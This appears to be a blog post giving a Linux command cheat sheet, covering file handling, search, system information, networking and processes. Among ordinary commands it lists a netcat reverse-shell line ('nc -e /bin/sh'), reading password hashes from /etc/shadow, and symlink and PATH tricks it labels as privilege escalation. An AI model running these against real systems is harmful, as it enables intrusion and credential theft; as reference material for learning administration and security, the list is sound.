Thoughts, stories and ideas.

Files and Folders

pwd Get the current working directory
ls List of all the files/folders in current directory
ls / List of all the files/folders in root directory
ls -la list of all the files (hidden also) with permission
cd / Navigate to root directory
cd /dirName/ Navigate to a particular directory in the root
cd .. Navigate 1 directory back. (Click of back button in windows)
cd ../.. Navigate back 2 directories
mkdir dirName Create new directory
rmdir dirName Remove directory(only if directory is empty)
rm fileName Remove a file
rm –r dirName Remove folder containing file(s)
nano fileNameCreate a new file using nano text editory 
touch fileName Create a empty file
ls > file Overwrite the file with output of ls(or any other) command
ls >> file Append to the file
diff file1 file2 Shows the difference between two files
file fileName Check the file type
cp dest1 dest2 Copy a file from dest1 to dest2
mv dest1 dest2 Cut a file from dest1 to dest2 (Also used to rename the file)

Sorting and Searching

sort -r Sort in reverse order
sort -n Sort the number
sort -M Sort by month
ls | grep keyWord The output of ls command is passed as input to grep
grep -r Search recursively by going into sub folders
grep -i Search by ignoring cases
find . -name fileName Find a file in current and sub-directories
find /home -name *.jpg Find all .jpg files in the /home and sub-directories
find . -name *.jpg -delete  Find and delete all .jpg files in current and sub-directories
whereis cmdName Search a command
which binFile Find the path of executable file

System Information

cat /etc/os-release Get the OS version
uname -a Get system information
cat /etc/passwd Get list of all the users in the system
cat /etc/shadow Get list of hashed password of all the users in the system
/bin/bash Run bash shell
printenv Print all the environment variables
nano /etc/resolv.conf Change DNS configuration
/var/www Directory where web applications are located

Network

netstat -antp Get the list of all(-a) the open tcp sockets(-t) along with its details like numeric local and foreign address (-n) and process (-p)
nc -vv -l -p Port Open a socket to listen for incoming connection
vv : more verbose
-l  : listening
-p : port
nc -e /bin/sh IP Port Connecting to netcat service running on other system and open the reverse shell
ifconfig -a List all the network adapter settings along with the interface

ln -s /bin/bash[link to file] ps[new symbolic link] Symbolic link to existing file(used in privilege escalation attacks)
export PATH=.:$PATH Add current location to executable path
alias new="touch" Using alias for a command. Now new will execute touch

Unpacking files

tar -xvzf myFiles.tar.gz Unpack a file

Others

ps aux Get list of running processes
passwd userName change a user's password
sudo shutdown -h now Shutdown the system
sudo reboot Reboot the system
man or [command] –help Get the help for a particular command
chmod +x fileName Make a file executable
kill -9 pid Kill a process using process id (process id is obtained using ps command)
history List of all the commands used in past by the current user
service serviceName start Start a service
/etc/init.d/apache2 restart Restart apache web server

Updating..

You've successfully subscribed to Flaviu Popescu
Welcome back! You've successfully signed in.
Great! You've successfully signed up.
Success! Your account is fully activated, you now have access to all content.